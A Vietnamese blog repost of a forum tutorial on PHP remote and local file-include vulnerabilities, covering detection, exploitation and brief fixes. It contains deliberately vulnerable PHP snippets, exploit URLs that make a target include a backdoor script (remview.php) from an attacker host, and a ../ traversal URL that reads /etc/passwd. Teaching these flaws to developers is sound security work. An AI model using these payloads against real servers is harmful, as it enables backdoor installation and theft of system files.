Guru's Blog
share with you :)
Navigation for Guru's Blog - PHP File Include
Content
Sidebar
Footer
Download nhạc từ các trang nhạc lớn của Việt Nam
« http://tintuc.ajaxviet.com
|
Trang chủ
|
Các lỗi có thể có với upload file »
24 Tháng Mười 2006
@ 02:15
Ý kiến [0]
PHP File Include
(
Tác giả:
Phạm Đức Hải
)
PHP File Include - Phát hiện, khai thác và khắc phục (Bài viết của Guanyu - Mod HVA 2003)
Bài viết này tuy đã lâu rồi, nhưng hiện nay lỗi này vẫn còn khá phổ biến, nên tôi post lại bài này.
Bài này thực sự có ích cho những lập trình viên sử dụng PHP, thông thường những lập trình viên nếu có chú ý đến bảo mật thì cũng chỉ chủ yếu xử lí SQL Injection mà không biết đến cái gọi là PHP injection.
Đây cũng là 1 lỗi rất phổ biến mà hacker khai thác ở mức web application.
Bài viết này là một bài tổng kết lại quá trình tìm hiểu lỗi PHP File Include. Có thể nó hơi khó hiểu, nhưng mình hi vọng các bạn có thể định nghĩa rõ hơn về lỗi này cũng như tự mình có thể phát hiện lổi trong các sản phẩn PHP. Xin nói thâm là các đánh giá dưới đây là theo góc nhìn của QVT chứ không phải đánh giá của bất kì hệ thống nào.
|---------------------------------
Mức độ phổ thông: 5-6
Mức độ nguy hiểm: 7-9
Mục tiêu tấn công: Server
Vị trí kẻ tấn công: Client
---------------------------------|
Như ta đã biết hàm include() hay require() trong PHP giúp cho lập trình viên không phải lập đi lập lại một đoạn mã thường sử dụng nào đó và làm cho chương trình trở nên gọn hơn. Nhưng song song với mặt tích cực là mặt tiêu cực, tuy hai hàm này rất tiện lợi nhưng nếu ta dùng nó không cẩn thận thì sẽ rất nguy hiểm.
I ) Phát Hiện:
__ Lỗi PHP file include phát sinh do sự bất cẩn của người viết chương trình (xin gọi là coder). Thay vì sử dụng một string ‘x’ (chuỗi) làm đường dẫn đến file cần include (hay require) thì coder lại dùng một biến ‘y’ để thay thế cho chuỗi ‘x’ ấy nhằm tránh lập lại một chuỗi ‘x’ nhàm chán (có thể do họ… lười). Nếu biến ấy đã được khai báo thì không có vấn đề gì ngiêm trọng. Ngược lại nếu coder bất cẩn không khai báo biến ‘y’ ấy thì các attacker sẽ lợi dụng ngay điều này. Họ sẽ khai báo biến ‘y’ là đường dẫn đến file của họ (có thể là BackDoor) và thế là hàm include() sẽ thực hiện một cách máy móc: include file có đường dẫn được attacker khai báo… Thật nguy hiểm.
__ Theo tớ có hai loại lỗi file include: include remote file và include local file.
__ Để hiểu rõ hơn, các bạn hãy xem các ví dụ đơn giản sau:
1/ Include remote file:
a/ Lỗi đơn giản:
|---------BEGIN of test.php-------
CODE <?php
$ex=”/home/www/testsite”;
include(“$ex/index.php”);
[…]
?>
----------END of test.php---------|
Đoạn code trên không có vấn đề gì cả. Nhưng nếu là đoạn code dưới đây thì sao?
|---------BEGIN of test.php-------
CODE <?php
include(“$ex/index.php”);
[…]
?>
----------END of test.php---------|
__ Bạn nói sao? ừ 100% là trang này đã bị lỗi File include. Chúng ta có thể khai thác bằng cách sữ dụng link sao:
http://www (http://www/).[target].com/test.php?ex=http://www.[attacker].com/
__ Link này sẽ include file http://www (http://www/).[attacker].com/index.php. Tại seo lại như vậy? Ta có thể giải thích một cách đơn giản như sau: ta đã khai báo biến $ex là http://www (http://www/).[attacker].com/ lúc bấy giờ trong hàm include() có dạng như sau:
include(“http://www.[attacker].com/index.php”). Bạn hiểu chưa?
__ Chúng ta cần chú ý một vấn đề rất quan trọng trong việc khai thác lỗi File Include này. Đó là host chứa file ta muốn include phải KHÔNG HỖ TRỢ PHP. Bạn có biết vì sao lại như vậy không? Vấn đề hết sức đơn giản vì hàm include() và require() chỉ có thể include được giá trị HTML Output của trang mà nó include (nếu include các file ở ngoài host). Do vậy nếu bạn dùng host có hỗ trợ PHP thì cái mà bạn include được chỉ là BackDoor đang chạy trên… host của bạn thôi chứ bạn chưa làm gì được host của victim cả. Trong khi mục đích của ta ở đây là “biến file bị lỗi của victim thành một backdoor”. Vì vậy, host không hổ trợ PHP sẽ đưa code của file này ra HTML output và thế là toàn bộ code đó được file bị lỗi đưa vào source của nó. Thế là nó tự biến mình thành backdoor một cách vô thức.
b/ Lỗi File include thông qua isset(), if()…
Mời bạn xem tiếp code của một số file:
|---------BEGIN of test1.php-------
CODE <?php
if (!$file) {$file = "index.php";}
include(“$file”);
[…]
?>
----------END of test1.php---------|
Và
|---------BEGIN of test2.php-------
CODE <?php
if (!isset( $path )) $path = '/home/';
include(“$path/index.php”);
[…]
?>
----------END of test2.php---------|
__ Cả hai đoạn code này có chung một sai lầm: đó là không khai báo trực tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó không. Tôi xin giải thích ý nghĩa của hai đoạn code trên cho các bạn không có khả năng đọc code:
|____ Ở file test1.php: nếu biến “$file” chưa được khai báo thì sẽ được gắn giá trị mặc định là index.php. Và sau đó là include file được khai báo ở biến “$file”.
|____ Ở file test2.php: cũng tương tự như trên, nếu biến “$path” chưa được khai báo thì sẽ được gắn giá trị mặc định là “/home/” và sau đó sẽ include file có thư mục được khai báo ớ biến “$path”.
__ Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các giá trị mặc định của biến đó đã bị vô hiệu hoá.
__ Ta có thể khai thác như sau:
Với file test1.php:
http://www (http://www/).[target].com/test1.php?file=http://www.[attacker].com/remview.php
Sẽ Include file remview.php
Với file test2.php:
http://www (http://www/).[target].com/test2.php?path=http://www.[attacker].com/
Sẽ include file “index.php” tại trang http://www (http://www/).[attacker].com/
2/ Include local file:
__ Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.
Vd: Một file bị lỗi include local file có dạng như sau:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/$file”);
[…]
?>
----------END of test3.php---------|
Xin chú ý là biến $file chưa được khai báo.
__ Nếu ta dùng:
http://www (http://www/).[target].com/test3.php?file=http://www.[attacker].com/remview.php
Thì trong code của file test3.php sẽ trở thành như sau:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/http://www.[attacker].com/remview.php”);
[…]
?>
----------END of test3.php---------|
Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.
__ Bấy giờ ta chỉ có thể sử dụng cách sau:
http://www (http://www/).[target].com/test3.php?file=../../../../../../../../etc/passwd
Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:
|---------BEGIN of test3.php-------
CODE <?php
include(“/home/../../../../../../../../etc/passwd”);
[…]
?>
----------END of test3.php---------|
__ Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.
II ) Khắc phục:
Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).
+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.
Gửi tặng
||
Bloglines
||
del.icio.us
||
Technorati
||
Digg it!
« http://tintuc.ajaxviet.com
|
Trang chủ
|
Các lỗi có thể có với upload file »
Chuyên mục:
Bài viết hay
|
Bảo mật
|
Hack
Bài viết liên quan:
Nội dung hội thảo "Ngày an toàn thông tin 26/11/2008"
hackthissite.org (HTS) : web bacsic missions walk through (1-10)
MS Server Service Could Allow Remote Code Execution
LlyKil - người đã DDoS bkav.com.vn
DDoS bằng DDoS FlashX (2)
DDoS bằng DDoS FlashX
Referred by:
khai bao bien chuoi php (www.google.com.vn)
[Referral]
@include php (www.google.com.vn)
[Referral]
mã hoá đường link file download bằng php (www.google.com.vn)
[Referral]
"hack php" (www.google.com.vn)
[Referral]
include cua php (www.google.com.vn)
[Referral]
mã hoá file index.php (www.google.com.vn)
[Referral]
category include php (www.google.com.vn)
[Referral]
include("../ (www.google.com.vn)
[Referral]
"php"+"file" (www.google.com.vn)
[Referral]
lỗi php (www.google.com.vn)
[Referral]
nếu chưa khai báo mới gán giá trị cho chuỗi trong php (www.google.com.vn)
[Referral]
php include local file (www.google.com.vn)
[Referral]
dich nguoc code html cua web php (www.google.com.vn)
[Referral]
"php file" (www.google.com.vn)
[Referral]
blog php (www.google.com.vn)
[Referral]
send mail include file in php (www.google.com.vn)
[Referral]
require( ) và include( ) (www.google.com.vn)
[Referral]
include (www.google.com.vn)
[Referral]
php file (www.google.com.vn)
[Referral]
"php file" (www.google.com.vn)
[Referral]
include php vao trang html (www.google.com.vn)
[Referral]
php include local (www.google.com.vn)
[Referral]
include php (www.google.com.vn)
[Referral]
include một biến (www.google.com.vn)
[Referral]
hack php injection (www.google.com.vn)
[Referral]
tim hieu va khai thac blog (www.google.com.vn)
[Referral]
google.com vn tin bao gan (search.live.com)
[Referral]
tro thanh php guru (www.google.com.vn)
[Referral]
hạn chế kí tự bài viết trong joomla (www.google.com.vn)
[Referral]
khai báo biến trong PHP (www.google.com.vn)
[Referral]
include file aspx 2.0 (www.google.com.vn)
[Referral]
Require và include PHP (www.google.com.vn)
[Referral]
php injection (www.google.com.vn)
[Referral]
ma hoa file php trong host (www.google.com.vn)
[Referral]
include PHP (www.google.com.vn)
[Referral]
include (www.google.com.vn)
[Referral]
php file (www.google.com.vn)
[Referral]
PHP file (www.google.com.vn)
[Referral]
"include va require" (www.google.com.vn)
[Referral]
co che include trong php (www.google.com.vn)
[Referral]
PHP include file (www.google.com.vn)
[Referral]
include php (www.google.com.vn)
[Referral]
" include+PHP" (www.google.com.vn)
[Referral]
include php (www.google.com.vn)
[Referral]
Include()??? (www.google.com.vn)
[Referral]
php include (www.google.com.vn)
[Referral]
include PHP (www.google.com.vn)
[Referral]
include+php (www.google.com.vn)
[Referral]
include (www.google.com.vn)
[Referral]
"include" + PHP (www.google.com.vn)
[Referral]
including file với include() + php (www.google.com.vn)
[Referral]
"include php" (www.google.com.vn)
[Referral]
include + PHP (www.google.com.vn)
[Referral]
include php (www.google.com.vn)
[Referral]
Local File Include (www.google.com.vn)
[Referral]
"php injection" (www.google.com.vn)
[Referral]
include() php (www.google.com.vn)
[Referral]
include trong PHP với SQL (www.google.com.vn)
[Referral]
php guru (www.google.com.vn)
[Referral]
include và require (www.google.com.vn)
[Referral]
biến php include (www.google.com.vn)
[Referral]
include+php (www.google.com.vn)
[Referral]
require include PHP (www.google.com.vn)
[Referral]
khai thac loi tu include php (www.google.com.vn)
[Referral]
include de include file nay vao trang php co dung ham SendMail() (www.google.com.vn)
[Referral]
include(); include(); (www.google.com.vn)
[Referral]
include làm sai đường dẫn ảnh (www.google.com.vn)
[Referral]
"hack php (www.google.com.vn)
[Referral]
cache:lCorDpbna6gJ:www.guru.net.vn/PermaLink,guid,34b79ff2-d9b9-4517-88af-6e0b1ca63d08.aspx ajaxviet (72.14.235.132)
[Referral]
remview (www.google.com.vn)
[Referral]
php include loi (www.google.com.vn)
[Referral]
include .php (www.google.com.vn)
[Referral]
Php File Include - Phát Hiện Và Khắc Phục (www.google.com.vn)
[Referral]
include file trong aspx (www.google.com.vn)
[Referral]
ma hoa file media php (www.google.com)
[Referral]
khai thac loi php cua (www.google.com.vn)
[Referral]
http://www.bobiasg.com/wp-admin/post.php?action=edit&post=17...
[Referral]
include and php and cap 2 (www.google.com.vn)
[Referral]
include http in php (www.google.com.vn)
[Referral]
tác dụng của hàm include trong php (www.google.com.vn)
[Referral]
PHP include file (www.google.com.vn)
[Referral]
download include trong php (www.google.com.vn)
[Referral]
include php host files (www.google.com.vn)
[Referral]
include php (www.google.com.vn)
[Referral]
include va require (www.google.com.vn)
[Referral]
code java chạy file media trong php (www.google.com.vn)
[Referral]
remview.php download (www.google.com.vn)
[Referral]
hack php injection (www.google.com.vn)
[Referral]
include trong php (www.google.com.vn)
[Referral]
cach khai bao chuoi trong php (www.google.com.vn)
[Referral]
include va require (www.google.com.vn)
[Referral]
include php Linux (www.google.com.vn)
[Referral]
y nghia chuoi '(.*)' trong php (www.google.com.vn)
[Referral]
include file trong php (www.google.com.vn)
[Referral]
"include trong php" (www.google.com.vn)
[Referral]
"include trong php" (search.msn.com)
[Referral]
khai thac local include file (www.google.com.vn)
[Referral]
include php require (www.google.com.vn)
[Referral]
Họ tên
E-mail
(sẽ hiển thị
gravatar
theo email của bạn)
Trang chủ
Ghi nhớ
Bộ gõ
Tắt
TELEX
VNI
Ý kiến (Không dùng HTML)
Nhập mã kiểm tra :(chống xì-pum ý mà):
Tác giả
Tìm kiếm
Bài viết mới nhất
Một công cụ kiểm tra Rootkit made in VietNam
Nội dung hội thảo "Ngày an toàn thông tin 26/11/2008"
hackthissite.org (HTS) : web bacsic missions walk through (1-10)
MS Server Service Could Allow Remote Code Execution
LlyKil - người đã DDoS bkav.com.vn
DDoS bằng DDoS FlashX (2)
DDoS bằng DDoS FlashX
Bot & Botnet (phần 4)
Bot & Botnet (phần 3)
Bot & Botnet (phần 2)
Bot & Botnet (phần 1)
Web vulnerabilities to gain access to the system
What Does a System Administrator Do?
Vụ DDoS BKIS nhìn nhận từ góc độ hệ thống
Local by pass server windows with kshell ?
Lưu trữ
Lưu trữ theo ngày
Lưu trữ chuyên mục
Chuyên mục
.NET (21)
Blog (7)
CSharp (14)
Ajax (10)
Âm nhạc (42)
Lời bài hát (16)
Audio Book (1)
Bài viết hay (2)
Bạn bè - Người thân (11)
Bảo mật (66)
Data Mining (1)
Giải trí (46)
Google (8)
Hack (73)
Iphone (4)
Java (4)
Laptop (1)
Linh tinh (10)
Linux (34)
Ubuntu (11)
Mã nguồn mở (2)
MySql (2)
Networking (15)
Oracle (4)
Phim ảnh (2)
Photos (2)
PHP (8)
Regex (7)
Reverse engineering (1)
rootkit (1)
SQL Server 2000 (2)
sysadmin (1)
Tản mạn (15)
Technology (1)
Thơ (6)
Vi Thùy Linh (4)
Xuân Quỳnh (2)
Unicode (1)
Việt hóa (3)
Virus (4)
VoIP (5)
war game (9)
Website (38)
Windows (7)
XHTML & CSS (2)
Y!mash (2)
Liên kết
Trang chủ
Demo lọc nội dung
Guru Mail
Media Downloader
Bói tình củm
Sơn la Online
My Google Page
Mã hóa
Ngôn ngữ
svtunhien.net
Lưu trữ theo tháng
Tháng Giêng, 2009 (1)
Tháng Mười Một, 2008 (1)
Tháng Mười, 2008 (14)
Tháng Tám, 2008 (2)
Tháng Bảy, 2008 (5)
Tháng Sáu, 2008 (9)
Tháng Năm, 2008 (5)
Tháng Tư, 2008 (1)
Tháng Ba, 2008 (8)
Tháng Hai, 2008 (2)
Tháng Giêng, 2008 (2)
Tháng Mười Hai, 2007 (4)
Tháng Mười Một, 2007 (6)
Tháng Mười, 2007 (4)
Tháng Chín, 2007 (2)
Tháng Tám, 2007 (15)
Tháng Bảy, 2007 (16)
Tháng Sáu, 2007 (30)
Tháng Năm, 2007 (1)
Tháng Ba, 2007 (3)
Tháng Hai, 2007 (4)
Tháng Giêng, 2007 (15)
Tháng Mười Hai, 2006 (21)
Tháng Mười Một, 2006 (30)
Tháng Mười, 2006 (38)
Tháng Chín, 2006 (3)
Tháng Tám, 2006 (1)
Tháng Bảy, 2006 (7)
Tháng Sáu, 2006 (23)
Tháng Năm, 2006 (18)
Tháng Tư, 2006 (16)
Tháng Ba, 2006 (25)
Bạn bè
Bachmahoangtu
Cao Sơn
Chip 2.0
Đặng Quốc Khánh
haian82
Kiên XD
Long (lngt)
Scott Hanselman
Sue's little edream
zatuzik
Chuyên mục
.NET
Blog
CSharp
Ajax
Âm nhạc
Lời bài hát
Audio Book
Bài viết hay
Bạn bè - Người thân
Bảo mật
Data Mining
Giải trí
Google
Hack
Iphone
Java
Laptop
Linh tinh
Linux
Ubuntu
Mã nguồn mở
MySql
Networking
Oracle
Phim ảnh
Photos
PHP
Regex
Reverse engineering
rootkit
SQL Server 2000
sysadmin
Tản mạn
Technology
Thơ
Vi Thùy Linh
Xuân Quỳnh
Unicode
Việt hóa
Virus
VoIP
war game
Website
Windows
XHTML & CSS
Y!mash
Thống kê
Admin Guru
Đăng nhập
Link hay